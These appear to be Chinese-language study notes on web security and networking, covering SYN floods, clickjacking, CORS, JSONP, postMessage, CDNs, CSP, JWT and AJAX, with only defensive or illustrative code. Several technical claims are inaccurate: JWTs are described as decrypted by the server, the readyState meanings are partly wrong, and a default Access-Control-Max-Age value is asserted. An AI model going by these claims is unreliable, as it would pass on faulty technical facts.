使用网页安全政策(Content Security Policy)

Content Security Policy

http://www.ruanyifeng.com/blog/2016/09/csp.html

SYN Flood 攻击

SYN Flood 属于典型的 DoS/DDoS 攻击。其攻击的原理很简单,就是用客户端在短时间内伪造大量不存在的 IP地址,并向服务端疯狂发送SYN。对于服务端而言,会产生两个危险的后果:

  • 处理大量的SYN包并返回对应ACK, 势必有大量连接处于SYN_RCVD状态,从而占满整个半连接队列,无法处理正常的请求。
  • 由于是不存在的 IP,服务端长时间收不到客户端的ACK,会导致服务端不断重发数据,直到耗尽服务端的资源。

半连接队列

当客户端发送SYN到服务端,服务端收到以后回复ACKSYN,状态由LISTEN变为SYN_RCVD,此时这个连接就被推入了SYN队列,也就是半连接队列。

全连接队列

当客户端返回ACK, 服务端接收后,三次握手完成。这个时候连接等待被具体的应用取走,在被取走之前,它会被推入另外一个 TCP 维护的队列,也就是全连接队列(Accept Queue)。

应对

  1. 增加 SYN 连接,也就是增加半连接队列的容量。
  2. 减少 SYN + ACK 重试次数,避免大量的超时重发。
  3. 利用 SYN Cookie技术,在服务端接收到SYN后不立即分配连接资源,而是根据这个SYN计算出一个Cookie,连同第二次握手回复给客户端,在客户端回复ACK的时候带上这个Cookie值,服务端验证Cookie 合法之后才分配连接资源。

点击劫持(ClickJacking)

点击劫持(ClickJacking)是一种视觉上的欺骗手段。攻击者使用一个透明的iframe,覆盖在一个网页上,然后诱使用户在网页上进行操作,此时用户将在不知情的情况下点击透明的iframe页面。通过调整iframe页面的位置,可以诱使用户恰好点击在iframe页面的一些功能性按钮上。

防御手段:

HTTP响应头信息中的X-Frame-Options,可以指示浏览器是否应该加载一个iframe中的页面。如果服务器响应头信息中没有X-Frame-Options,则该网站存在ClickJacking攻击风险。网站可以通过设置X-Frame-Options阻止站点内的页面被其他页面嵌入从而防止点击劫持。

修改web服务器配置,添加X-Frame-Options响应头。赋值有如下三种:

  • DENY:不能被嵌入到任何iframe或者frame中。
  • SAMEORIGIN:页面只能被本站页面嵌入到iframe或者frame
  • ALLOW-FROM uri:只能被嵌入到指定域名的框架中

跨域通信

代码地址

  • JSONP(利用script标签的异步加载)
  • Hash(hash改变页面不会刷新)
  • postMessage
  • credentials
  • WebSocket 网站地址
  • CORS 网站地址

一般静态资源通常不受同源策略限制,如js/css/jpg/png等。

同源

  • 协议
  • 域名
  • 端口

三者都要相同,就是同源。

CORS

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CORS

跨源资源共享CORS,或通俗地译为跨域资源共享)是一种基于 HTTP 头的机制,该机制通过允许服务器标示除了它自己以外的其他(域、协议或端口),使得浏览器允许这些源访问加载自己的资源。

网页链接

https://blog.csdn.net/vincent_ling/article/details/51714691

默认情况下,标准的跨域请求是不会发送cookie等用户认证凭据的

credentials 是Request接口的只读属性,用于表示用户代理是否应该在跨域请求的情况下从其他域发送cookies。这与XHR的withCredentials 标志相似,不同的是有三个可选值(后者是两个):

  • omit: 从不发送cookies.

  • same-origin: 只有当URL与响应脚本同源才发送 cookies、 HTTP Basic authentication 等验证信息.(浏览器默认值,在旧版本浏览器,例如safari 11依旧是omit,safari 12已更改)

  • include: 不论是不是跨域的请求,总是发送请求资源域在本地的 cookies、 HTTP Basic authentication 等验证信息.

在以下代码中,我们使用Request.Request()创建了一个新的request(为了一个与脚本在同一目录下的图片文件), 接着将request credentials存入一个变量:

var myRequest = new Request('flowers.jpg');
var myCred = myRequest.credentials; // returns "same-origin" by default

解决:

withCredentials

var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://www.xxx.com/api');
xhr.withCredentials = true;
xhr.onload = onLoadHandler;
xhr.send();

需要注意的是,当这个属性为true的时候,远程服务器也要作相应的处理。在响应头那里设置 Access-Control-Allow-Credentials: true 。如果没有这个设置的话,浏览器就会报错。

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Access-Control-Allow-Credentials

JSONP跨域

JSONP 的全称:JSON with Padding,这里的 Padding 指的就是包裹在 JSON 外层的回调函数

JSONP是服务器与客户端跨源通信的常用方法。最大特点就是简单适用,老式浏览器全部支持,服务器改造非常小。

它的基本思想是,网页通过添加一个<script>元素,向服务器请求JSON数据,这种做法不受同源政策限制;服务器收到请求后,将数据放在一个指定名字的回调函数里传回来。

首先,网页动态插入<script>元素,由它向跨源网址发出请求。

function addScriptTag(src) {
  var script = document.createElement('script');
  script.setAttribute("type","text/javascript");
  script.src = src;
  document.body.appendChild(script);
}

window.onload = function () {
  addScriptTag('http://example.com/ip?callback=foo');
}

function foo(data) {
  console.log('Your public IP address is: ' + data.ip);
};

上面代码通过动态添加<script>元素,向服务器example.com发出请求。注意,该请求的查询字符串有一个callback参数,用来指定回调函数的名字,这对于JSONP是必需的。

服务器收到这个请求以后,会将数据放在回调函数的参数位置返回。

foo({
  "ip": "8.8.8.8"
});

由于<script>元素请求的脚本,直接作为代码运行。这时,只要浏览器定义了foo函数,该函数就会立即调用。作为参数的JSON数据被视为JavaScript对象,而不是字符串,因此避免了使用JSON.parse的步骤。

JSONP 的主要缺点有两个,一是只能 GET 不能 POST,因为是通过<script>引用的资源,参数全都显式的放在URL里,和 AJAX 没有半毛钱关系。二是存在安全隐患,动态插入<script>标签其实就是一种脚本注入,可能会导致XSS攻击。

webSocket

WebSocket是一种通信协议,使用ws://(非加密)和wss://(加密)作为协议前缀。该协议不实行同源政策,只要服务器支持,就可以通过它进行跨源通信。

下面是一个例子,浏览器发出的WebSocket请求的头信息(摘自维基百科)。

GET /chat HTTP/1.1
Host: server.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Protocol: chat, superchat
Sec-WebSocket-Version: 13
Origin: http://example.com

上面代码中,有一个字段是Origin,表示该请求的请求源(origin),即发自哪个域名。

正是因为有了Origin这个字段,所以WebSocket才没有实行同源政策。因为服务器可以根据这个字段,判断是否许可本次通信。如果该域名在白名单内,服务器就会做出如下回应。

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk=
Sec-WebSocket-Protocol: chat

postMessage

postMessage是html5新增的一个解决跨域的一个方法

postMessage()方法允许来自不同源的脚本采用异步方式进行有限的通信,可以实现跨文本档、多窗口、跨域消息传递。

我们拿跨域中的iframe做例子

<script type="text/javascript">
    window.parent.postMessage('hello world','*');   
    //在被嵌套的iframe的页面中写入这样一段代码
</script>

window.parent返回当前窗口的父窗口。

注意:postMessage的写法,postMessage之前写的是你要通信的window对象(也就是你要像谁通信),此时的window.parent的权限仅限于此,不能在像同域似的,进行获取父级的DOM元素,否则浏览器会报错,提示你不能进行跨域访问,我们再来看postMessage中所接收的参数,第一个参数就是你要像另外一个窗口传递的数据(只能传字符串类型),第二个参数表示目标窗口的源,协议+主机+端口号,是为了安全考虑,如果设置为“*”,则表示可以传递给任意窗口。

<script type="text/javascript">
    window.addEventListener('message',function(e){
        console.log(e.data);        //hello world
        console.log(e.origin);      //http://127.0.0.1:8020 所传来数据的域
    })
</script>

正向代理和反向代理

https://www.zhihu.com/question/24723688

正向代理,它隐藏了真实的请求客户端,服务端不知道真实的客户端是谁,客户端请求的服务都被代理服务器代替来请求,某些科学上网工具扮演的就是典型的正向代理角色。

反向代理隐藏了真实的服务端,当我们请求 ww.baidu.com 的时候,就像拨打10086一样,背后可能有成千上万台服务器为我们服务,但具体是哪一台,你不知道,也不需要知道,你只需要知道反向代理服务器是谁就好了。ww.baidu.com 就是我们的反向代理服务器,反向代理服务器会帮我们把请求转发到真实的服务器那里去。Nginx就是性能非常好的反向代理服务器,用来做负载均衡。

两者的区别在于代理的对象不一样:正向代理代理的对象是客户端,反向代理代理的对象是服务端

跨域隔离

Cross Origin Isolation

跨域隔离使网页能够使用例如 SharedArrayBuffer 等强大功能。

为什么需要“跨域隔离”才能获得强大的功能

https://web.dev/i18n/zh/cross-origin-isolation-guide/

  1. 在顶级文档上设置Cross-Origin-Opener-Policy: same-origin标头。
  2. 在顶级文档上设置Cross-Origin-Embedder-Policy: require-corp标头。
  3. 检查并确认window.crossOriginIsolated在控制台中返回true,从而验证您的页面已启用跨域隔离。

CDN

CDN 的工作原理

内容分发网络(英语:Content Delivery Network,缩写:CDN)是指一种透过互联网互相连接的电脑网络系统,利用最靠近每位用户的服务器,更快、更可靠地将音乐、图片、视频、应用程序及其他文件发送给用户,来提供高性能、可扩展性及低成本的网络内容传递给用户。

好处

  1. 缩短网站加载时间 – 通过将内容分发到访问者附近的 CDN 服务器(以及其他优化措施),访问者体验到更快的页面加载时间。由于访问者更倾向于离开加载缓慢的网站,CDN 可以降低跳出率并增加人们在该网站上停留的时间。换句话说,网站速度越快,用户停留的时间越长。
  2. 减少带宽成本 – 网站托管的带宽消耗成本是网站的主要费用。通过缓存和其他优化,CDN 能够减少源服务器必须提供的数据量,从而降低网站所有者的托管成本。
  3. 增加内容可用性和冗余 – 大流量或硬件故障可能会扰乱正常的网站功能。由于 CDN 具有分布式特性,因此与许多源服务器相比,CDN 可以处理更多流量并更好地承受硬件故障。
  4. 改善网站安全性 – CDN 可以通过提供 DDoS 缓解、安全证书的改进以及其他优化措施来提高安全性。

边缘服务器

CDN边缘服务器是存在于网络逻辑极端或边缘的计算机。边缘服务器通常充当不同网络之间的连接。CDN 边缘服务器的主要目的是将内容存储在尽可能靠近发出请求的客户端计算机的位置,从而减少延迟并缩短页面加载时间。

边缘服务器是一种提供网络入口点的边缘设备。其他边缘设备包括路由器和路由交换机。边缘设备通常放置在Internet 交换点 (IxP)内,以允许不同的网络连接和共享传输。


源服务器是在网络资产未使用 CDN 时接收所有 Internet 流量的网络服务器。使用没有 CDN 的源服务器意味着每个 Internet 请求都必须返回到该源服务器的物理位置,无论它位于世界的哪个位置。这会增加加载时间,这会增加服务器与请求客户端计算机的距离。

CDN 边缘服务器将内容存储(缓存)在战略位置,以减轻一台或多台源服务器的负载。通过将图像、HTML 和 JavaScript 文件(以及可能的其他内容)等静态资产尽可能靠近请求的客户端计算机,边缘服务器缓存能够减少加载 Web 资源所需的时间。使用 CDN 时,源服务器仍然具有重要功能,因为重要的服务器端代码(例如用于身份验证的散列客户端凭据数据库)通常在源维护。

典型的 CDN 高速缓存过程包含以下 4 个步骤:

  1. 当用户请求网页时,用户的请求被路由到 CDN 中最近的边缘服务器
  2. 边缘服务器接着向源站服务器请求用户请求的内容。
  3. 源站响应边缘服务器的请求。
  4. 最后,边缘服务器响应客户端。

性能

https://www.cloudflare.com/zh-cn/learning/cdn/performance/

CDN 与客户端的近距离价值是在向源站服务器发出初始请求之后体现出来的。一旦数据从源站服务器高速缓存到 CDN 网络中,来自客户端的每个后续请求都只需到达最近的边缘服务器即可。这意味着,如果最近的边缘服务器比源站服务器近,就能减少延迟,并且更快提供内容。

回源

回源指您通过客户端请求访问资源时,如果CDN节点上未缓存该资源,或者您部署预热任务给CDN节点时,CDN节点会回源站获取资源。

  1. 当CDN节点没有缓存用户请求的内容时,会回源请求资源。
  2. 当CDN节点上缓存的内容已过期时,会回源请求资源。

更新

CDN节点的缓存内容不是实时更新的,只有当缓存内容到期后才能回源请求最新的内容并更新节点缓存。您可以通过设置缓存过期时间规则或者提交刷新请求来实现缓存内容的更新。

寻找边缘服务器

边缘服务器是分布在网络边缘、靠近终端用户的节点,它们位于传统的中心化云服务器之外,可以提供更接近用户的计算、存储、网络等服务。边缘服务器的主要作用是为终端用户提供更低延迟、更高带宽的服务。

对于CDN(内容分发网络)中的用户来说,寻找边缘服务器的过程通常是由CDN提供商自动处理的,以确保用户能够获得最佳的内容交付性能。

一般情况下,CDN提供商会使用一种称为“就近原则”的策略,即根据用户的物理位置,将其请求路由到最接近用户的边缘服务器上。这样可以减少数据传输的延迟和网络拥堵,提高内容交付的速度和质量。

当用户在浏览器中输入URL并发送请求时,CDN提供商会通过DNS解析将用户的请求转发到最近的边缘服务器。DNS解析会将域名解析为相应的IP地址,以确定用户的物理位置并将其请求路由到最佳的边缘服务器。

CDN提供商通常会在全球各地建立多个边缘服务器节点,这些节点分布在不同的地区和网络服务提供商中。通过这种全球分布的边缘服务器网络,CDN提供商可以将内容快速地交付给用户,提供更好的用户体验。

总而言之,CDN中的用户无需自行寻找边缘服务器,这个过程完全由CDN提供商自动处理。用户只需发送请求,CDN会根据用户的位置和网络状况选择最佳的边缘服务器来提供内容。

补充

Request

mode

https://developer.mozilla.org/zh-CN/docs/Web/API/Request/mode

Request 接口的 mode 只读属性包含请求的模式(例如:corsno-corscors-with-forced-preflightsame-originnavigate 。)这用于确定跨域请求是否能得到有效的响应,以及响应的哪些属性是可读的。

  • same-origin — 如果使用此模式向另外一个源发送请求,显而易见,结果会是一个错误。你可以设置该模式以确保请求总是向当前的源发起的。
  • no-cors — 保证请求对应的 method 只有 HEADGETPOST 方法,并且请求的 headers 只能有简单请求头 (simple headers)。如果 ServiceWorker 劫持了此类请求,除了 simple header 之外,不能添加或修改其他 header。另外 JavaScript 不会读取 Response 的任何属性。这样将会确保 ServiceWorker 不会影响 Web 语义 (semantics of the Web),同时保证了在跨域时不会发生安全和隐私泄露的问题。
  • cors — 允许跨域请求,例如访问第三方供应商提供的各种 API。预期将会遵守 CORS protocol 。仅有有限部分的头部暴露在 Response ,但是 body 部分是可读的。
  • navigate — 表示这是一个浏览器的页面切换请求 (request)。navigate 请求仅在浏览器切换页面时创建,该请求应该返回 HTML。

域名分片

https://developer.mozilla.org/zh-CN/docs/Glossary/Domain_sharding

由于浏览器限制了每个域(domain)的活动连接数。为了可以同时下载超过该限制数的资源,域名分片domain sharding)会将内容拆分到多个子域中。当使用多个域来处理多个资源时,浏览器能够同时下载更多资源,从而缩短了页面加载时间并改善了用户体验。

就性能而言,域名分片的问题在于每个域都需要额外的 DNS 查找成本以及建立每个 TCP 连接的开销。

由于 HTTP/2 没有限制并发请求(unlimited concurrent requests),因此启用 HTTP/2 后,就没必要再使用域名分片来解决并发限制了。

Access-Control-Max-Age

默认值是5 秒

Access-Control-Max-Age是一个HTTP响应头部字段,主要用于CORS(跨源资源共享)机制中。它指示浏览器在发送实际请求前,对预检请求的结果进行缓存的时间,以减少预检请求的发送次数。

Access-Control-Max-Age的值是一个以秒为单位的整数,表示浏览器可以缓存预检请求的响应结果的时间。在指定的时间内,浏览器无需再次发送预检请求,而是直接使用之前的预检请求结果。

Vary

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Vary

Vary 是一个HTTP响应头部信息,它决定了对于未来的一个请求头,应该用一个缓存的回复(response)还是向源服务器请求一个新的回复 (和缓存有关系)

Vary出现在响应信息中的作用是什么呢?首先这是由服务器端添加,添加到响应头部。大部分情况下是用在客户端缓存机制或者是缓存服务器在做缓存操作的时候,会使用到Vary头,会读取响应头中的Vary的内容,进行一些缓存的判断。

Vary的字面意思是“不一、多样化”,顾名思义,它的存在区分同样的网络请求的不同之处,其实就是通过头部信息来区分。Vary存在于响应头中,它的内容来自于请求头中相关字段

缓存服务器会将某接口的首次请求结果缓存下来(包括响应头中的Vary),后面在发生相同请求的时候缓存服务器会拿着缓存的Vary来进行判断。比如Vary: Accept-Encoding,User-Agent,那么Accept-Encoding与User-Agent两个请求头的内容,就会作为判断是否返回缓存数据的依据,当缓存服务器中相同请求的缓存数据的编码格式、代理服务与当前请求的编码格式、代理服务一致,那就返回缓存数据,否则就会从服务器重新获取新的数据。当缓存服务器中已经缓存了该条请求,那么某次服务器端的响应头中如果Vary的值改变,则Vary会更新到该请求的缓存中去,下次请求会对比新的Vary内容。

官方解释Vary头:告知下游的代理服务器,应当如何对以后的请求协议头进行匹配,以决定是否可使用已缓存的响应内容而不是重新从原服务器请求新的内容。

Vary: * ,这个我不太理解,我个人的理解是,当Vary的值为“”时,意味着请求头中的那些字段的值不能用来区分当前请求是从缓存服务拿还是重新请求获取,在Android的OkHttp框架中,客户端接收到服务器的响应数据,进行缓存处理时,一旦判断响应头有Vary:时,就不缓存该条数据。所以我猜想缓存服务器会不会也是这样,当Vary的值为“*”时,不做缓存。

它被服务器用来表明在 content negotiation algorithm(内容协商算法)中选择一个资源代表的时候应该使用哪些头部信息(headers).

在响应状态码为 304 Not Modified 的响应中,也要设置 Vary 首部,而且要与相应的 200 OK 响应设置得一模一样。


条件型 CORS 响应下的缓存错乱问题

https://zhuanlan.zhihu.com/p/38972475

图片出现 不能跨域的缓存

在 @koa/cors 中

我们发现

    // Always set Vary header
    // https://github.com/rs/cors/issues/10
    ctx.vary('Origin');

这是为了解决条件型 CORS 响应下的缓存错乱问题

比如在同一个浏览器下,先打开了foo.taobao.com上的一个页面,访问了我们的资源,这个资源被浏览器缓存了下来,和资源内容一起缓存的还有Access-Control-Allow-Origin: https://foo.taobao.com响应头。这时又打开 bar.taobao.com上的一个页面,这个页面也要访问那个资源,这时它会读取本地缓存,读到的 Access-Control-Allow-Origin头是缓存下的 https://foo.taobao.com 而不是自己想要的 https://bar.taobao.com,这时就报跨域错误了,虽然它应该是能访问到这份资源的。

上面举的例子是“区分对待不同的Origin请求头”这类条件型 CORS 响应下引起的缓存错乱,这种问题是需要用户访问多个网站(foo.taobao.combar.taobao.com)后才可能触发的问题。“区分对待有无Origin请求头”也可能会造成类似的问题,而且在同一个站点下就有可能触发,比如用户先访问了foo.taobao.com的一个页面 A,页面 A 里用标签加载了一张图片,注意这时候这张图片已经被浏览器缓存了,并且缓存里没有 `Access-Control-Allow-Origin`响应头,因为发起的请求不带Origin请求头,此时用户又访问了foo.taobao.com的另一个页面 B,页面 B 里用 XHR 请求同一张图片,结果读了缓存,没有发现 CORS 响应头,报了跨域错误。在一些场景下,页面 A 和页面 B 有可能会是同一个页面,也就是说在同一个页面里就有可能触发这个问题。

使用 Vary: Origin 让同一个 URL 有多份缓存

有一个 HTTP 响应头叫Vary,vary 这个单词的意思是“变化”、“不同”的意思,Vary响应头就是让同一个 URL 根据某个请求头的不同而使用不同的缓存。比如常见的Vary: Accept-Encoding表示客户端要根据Accept-Encoding请求头的不同而使用不同的缓存,比如 gizp 的缓存一份,未压缩的缓存为另一份。

在 CORS 的场景下,我们需要使用Vary: Origin来保证不同网站发起的请求使用各自的缓存。比如从foo.taobao.com发起的请求缓存下的响应头是:

Access-Control-Allow-Origin: https://foo.taobao.com
Vary: Origin

bar.taobao.com在发起同 URL 的请求就不会使用这份缓存了,因为Origin请求头变了。还有标签发起的非 CORS 请求缓存下的响应头是:

Vary: Origin

在使用 XHR 发起的 CORS 请求也不会使用那份缓存,因为Origin请求头从无到有,也算是变了。

If CORS protocol requirements are more complicated than setting Access-Control-Allow-Origin to * or a static origin, Vary is to be used

翻译一下就是“如果你的 Access-Control-Allow-Origin响应头不是简单的写死成了*或者某一个特定的源(就是我总结的条件型 CORS 响应),那么你就应该加上Vary: Origin响应头。

withCredentials

https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest/withCredentials

一个很重要的点: withCredentials永远不会影响到同源请求

XMLHttpRequest.withCredentials 属性是一个Boolean类型,它指示了是否该使用类似cookies,authorization headers(头部授权)或者TLS客户端证书这一类资格证书来创建一个跨站点访问控制(cross-site Access-Control)请求。

在同一个站点下使用withCredentials属性是无效的。

此外,这个指示也会被用做响应中cookies 被忽视的标示。默认值是false。

如果在发送来自其他域的XMLHttpRequest请求之前,未设置withCredentials 为true,那么就不能为它自己的域设置cookie值。而通过设置withCredentials 为true获得的第三方cookies,将会依旧享受同源策略,因此不能被通过document.cookie或者从头部相应请求的脚本等访问。

不同域下的XmlHttpRequest 响应,不论其Access-Control-header 设置什么值,都无法为它自身站点设置cookie值,除非它在请求之前将withCredentials 设为true。

options 请求

https://juejin.im/post/5edef7b2e51d45784213ca24?utm_source=gold_browser_extension

HTTP 的 OPTIONS 方法 用于获取目的资源所支持的通信选项。客户端可以对特定的 URL 使用 OPTIONS 方法,也可以对整站(通过将 URL 设置为”*“)使用该方法。

简单来说,就是可以用 options 请求去嗅探某个请求在对应的服务器中都支持哪种请求方法。

在前端中我们一般不会主动发起这个请求, 是在跨域的情况下,浏览器发起”复杂请求”时主动发起的。

某些请求不会触发 CORS 预检请求,这样的请求一般称为”简单请求”,而会触发预检的请求则成为”复杂请求”。

跨域共享标准规范要求,对那些可能对服务器数据产生副作用的 HTTP 请求方法(特别是 GET 以外的 HTTP 请求,或者搭配某些 MIME 类型的 POST 请求),浏览器必须首先使用 OPTIONS 方法发起一个预检请求(preflight request),从而获知服务端是否允许该跨域请求。服务器确认允许之后,才发起实际的 HTTP 请求。

options 关键的请求头字段

request header 的关键字段

关键字段 作用
Access-Control-Request-Method 告知服务器,实际请求将使用 POST 方法
Access-Control-Request-Headers 告知服务器,实际请求将携带的自定义请求首部字段

如:

Access-Control-Request-Method: POST
Access-Control-Request-Headers: X-PINGOTHER, Content-Type

response header 的关键字段

关键字段 作用
Access-Control-Allow-Methods 表明服务器允许客户端使用什么方法发起请求
Access-Control-Allow-Origin 允许跨域请求的域名,如果要允许所有域名则设置为 *
Access-Control-Allow-Headers 将实际请求所携带的首部字段告诉服务器
Access-Control-Max-Age 指定了预检请求的结果能够被缓存多久

Options 请求优化

当我们发起跨域请求时,如果是简单请求,那么我们只会发出一次请求,但是如果是复杂请求则先发出 options 请求,用于确认目标资源是否支持跨域,然后浏览器会根据服务端响应的 header 自动处理剩余的请求,如果响应支持跨域,则继续发出正常请求,如果不支持,则在控制台显示错误。

由此可见,当触发预检时,跨域请求便会发送 2 次请求,既增加了请求数,也延迟了请求真正发起的时间,严重影响性能。

所以,我们可以优化 Options 请求,主要有 2 种方法。

  1. 转为简单请求,如用 JSONP 做跨域请求
  2. 对 options 请求进行缓存,服务器端设置 Access-Control-Max-Age 字段,那么当第一次请求该 URL 时会发出 OPTIONS 请求,浏览器会根据返回的 Access-Control-Max-Age 字段缓存该请求的 OPTIONS 预检请求的响应结果(具体缓存时间还取决于浏览器的支持的默认最大值,取两者最小值,一般为 10 分钟)。在缓存有效期内,该资源的请求(URL 和 header 字段都相同的情况下)不会再触发预检。(chrome 打开控制台可以看到,当服务器响应 Access-Control-Max-Age 时只有第一次请求会有预检,后面不会了。注意要开启缓存,去掉 disable cache 勾选。)

简单请求

  1. 请求方法只是以下几种:GET、HEAD、POST。
  2. HTTP头信息不超出以下几种字段:Accept、Accept-Language、Content-Language、Content-Type(只限于application/x-www-form-urlencoded、multipart/form-data、text/plain)。
  3. 请求中的任意XMLHttpRequestUpload 对象均没有被注册任何事件监听器。
  4. 请求中没有使用 FileReader对象。
  5. 请求中没有使用 FormData 对象。
  6. 请求中的任何部分,内容类型是 application/x-www-form-urlencoded、multipart/form-data 或 text/plain。

复杂请求

  • 使用了下面任一 HTTP 方法,PUT/DELETE/CONNECT/OPTIONS/TRACE/PATCH
  • 人为设置了以下集合之外首部字段,即简单请求外的字段
  • Content-Type 的值不属于下列之一,即application/x-www-form-urlencoded、multipart/form-data、text/plain

jwt相关

jwt可以用于验证用户身份信息,和传统的token作用差不多。

传统的token是服务端将用户信息进行MD5处理发送给客户端,客户端在请求时带上token验证。因为MD5是不可逆的,服务端需要去数据库查询相关用户信息,再进行一次MD5,用该MD5和客户端发来的MD5进行对比。

而jwt是不需要服务端经过数据库查询的操作,jwt有对应的加密解密算法,服务端拿到jwt后通过密钥解密可以把其中的用户信息拿到。

优势

无状态

由于 JWT 是自包含的,且无需在内存中保持请求之间的令牌,所以应用服务器可以做到完全无状态(stateless)。认证服务器可以颁发令牌,将其发回后就立即丢弃掉。

紧凑

JSON 比 XML 简介,所以当其被编码后,一个 JWT 比 SAML 令牌更小。这使得 JWT 成为一个在 HTML 和 HTTP 环境中传送的好选择。

更安全

content-type

网页链接

  • application/x-www-form-urlencoded:数据被编码为名称/值对。这是标准的编码格式。
  • multipart/form-data: 数据被编码为一条消息,页上的每个控件对应消息中的一个部分
  • text/plain: 数据以纯文本形式(text/json/xml/html)进行编码,其中不含任何控件或格式字符。postman软件里标的是RAW。
  • application/json

form的enctype属性为编码方式,常用有两种:application/x-www-form-urlencoded和multipart/form-data,默认为application/x-www-form-urlencoded

当action为get时候,浏览器用x-www-form-urlencoded的编码方式把form数据转换成一个字串(name1=value1&name2=value2…),然后把这个字串追加到url后面,用?分割,加载这个新的url。

当action为post时候,浏览器把form数据封装到http body中,然后发送到server。 如果没有type=file的控件,用默认的application/x-www-form-urlencoded就可以了。 但是如果有type=file的话,就要用到multipart/form-data了。

当action为post且Content-Type类型是multipart/form-data,浏览器会把整个表单以控件为单位分割,并为每个部分加上Content-Disposition(form-data或者file),Content-Type(默认为text/plain),name(控件name)等信息,并加上分割符(boundary)。

application/x-www-form-urlencoded方式是Jquery的Ajax请求默认方式

application/json,随着json规范的越来越流行,并且浏览器支持程度原来越好,许多开发人员易application/json作为请求content-type,告诉服务器请求的主题内容是json格式的字符串,服务器端会对json字符串进行解析,这种方式的好处就是前端人员不需要关心数据结构的复杂度,只要是标准的json格式就能提交成功,application/json数据格式越来越得到开发人员的青睐。

RTT

在计算机网络中,RTT指的是往返时延(Round-Trip Time),即从发送方发送数据到接收方再返回发送方所经历的时间。RTT可以用来衡量网络通信的延迟,从而判断网络的性能。

TTL

TTL (Time to Live) 表示在网络中数据包在传输过程中被允许存在的时间或跳数的最大值。每次数据包经过一个路由器或网络设备,其 TTL 值会减少一次。当 TTL 值减少到0时,该数据包将被丢弃或返回源 IP 地址。TTL 的主要目的是防止数据包在网络中无限循环,以保证数据包能够正常到达目标主机并在一定时间内传递完成。

CSP

http://www.ruanyifeng.com/blog/2016/09/csp.html

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP

内容安全策略 (CSP) 是一个附加的安全层,用于帮助检测和缓解某些类型的攻击,包括跨站脚本 (XSS) 和数据注入等攻击。

CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。

CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机。

两种方法可以启用 CSP。一种是通过 HTTP 头信息的Content-Security-Policy的字段。

Content-Security-Policy: script-src 'self'; object-src 'none';
style-src cdn.example.org third-party.org; child-src https:

另一种是通过网页的<meta>标签。

<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">

上面代码中,CSP 做了如下配置。

  • 脚本:只信任当前域名
  • <object>标签:不信任任何URL,即不加载任何资源
  • 样式表:只信任cdn.example.orgthird-party.org
  • 框架(frame):必须使用HTTPS协议加载
  • 其他资源:没有限制

AJAX

AJAX = Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)。

AJAX 不是新的编程语言,而是一种使用现有标准的新方法。

AJAX 最大的优点是在不重新加载整个页面的情况下,可以与服务器交换数据并更新部分网页内容。

  var xhr = new XMLHttpRequest();
    xhr.open("GET", "/api", false);
    xhr.onreadystatechange = function () {
        // 这里的函数异步执行
        if (xhr.readyState == 4) {
            if (xhr.status == 200) {
                alert(xhr.responseText);
            }
        }
    }

readyState

  • 0 (未初始化) 还没有调用send()方法
  • 1 (载入) 已调用send()方法,正在发送请求
  • 2 (载入完成) send()方法执行完成,已经接收到全部响应内容
  • 3 (交互) 正在解析响应内容
  • 4 (完成) 响应内容解析完成,可以在客户端调用了

Restful Api

网页链接

https://zhuanlan.zhihu.com/p/30396391?group_id=937244108725641216

REST是英文representational state transfer(表象性状态转变)或者表述性状态转移;Rest是web服务的一种架构风格;使用HTTP,URI,XML,JSON,HTML等广泛流行的标准和协议;轻量级,跨平台,跨语言的架构设计;它是一种设计风格,不是一种标准,是一种思想

Rest架构的主要原则

  • 网络上的所有事物都被抽象为资源
  • 每个资源都有一个唯一的资源标识符
  • 同一个资源具有多种表现形式(xml,json等)
  • 对资源的各种操作不会改变资源标识符
  • 所有的操作都是无状态的
  • 符合REST原则的架构方式即可称为RESTful

在Restful之前的操作:

http://127.0.0.1/user/query/1 GET  根据用户id查询用户数据
http://127.0.0.1/user/save POST 新增用户
http://127.0.0.1/user/update POST 修改用户信息
http://127.0.0.1/user/delete GET/POST 删除用户信息

RESTful用法:

http://127.0.0.1/user/1 GET  根据用户id查询用户数据
http://127.0.0.1/user  POST 新增用户
http://127.0.0.1/user  PUT 修改用户信息
http://127.0.0.1/user  DELETE 删除用户信息

crossOrigin

解决canvas图片getImageData,toDataURL跨域问题

crossOrigin是一个属性,可以设置在HTML中的img、video、audio等跨域元素上。

使用crossOrigin属性可以告诉浏览器在跨域请求时是否获取跨域的资源,以及如何处理获取到的跨域资源。

  1. 跨域资源共享:设置crossOrigin属性为”anonymous”或”use-credentials”,可以使浏览器在跨域请求时自动发送CORS(跨域资源共享)请求头,从而服务端可以决定是否允许跨域访问。
  2. 获取跨域图片的像素数据:如果设置crossOrigin属性为”anonymous”,那么在通过canvas的context.drawImage()方法绘制跨域图片时,可以获取到图片的像素数据。
  3. 防止跨域污染:设置crossOrigin属性为”anonymous”可以防止跨域污染,即不允许跨域资源修改当前页面的DOM结构和内容。
  4. 统计跨域资源加载失败:通过监听onerror事件,可以捕获跨域资源加载失败的情况,并进行统计或处理。

crossOrigin=anonymous相对于告诉对方服务器,你不需要带任何非匿名信息过来。例如cookie,因此,当前浏览器肯定是安全的。

防火墙

防火墙是一种网络安全设备或软件,用于保护计算机网络不受未经授权的访问、攻击或恶意软件的影响。它的主要作用如下:

  1. 访问控制:防火墙通过设置规则来控制网络通信的流量,例如,可以阻止未经授权的外部访问进入内部网络,限制特定IP地址或端口的访问等。
  2. 包过滤:防火墙可以分析传入和传出的网络数据包,并根据预先定义的规则来过滤或阻止恶意或可疑的数据包,以保护网络免受攻击。
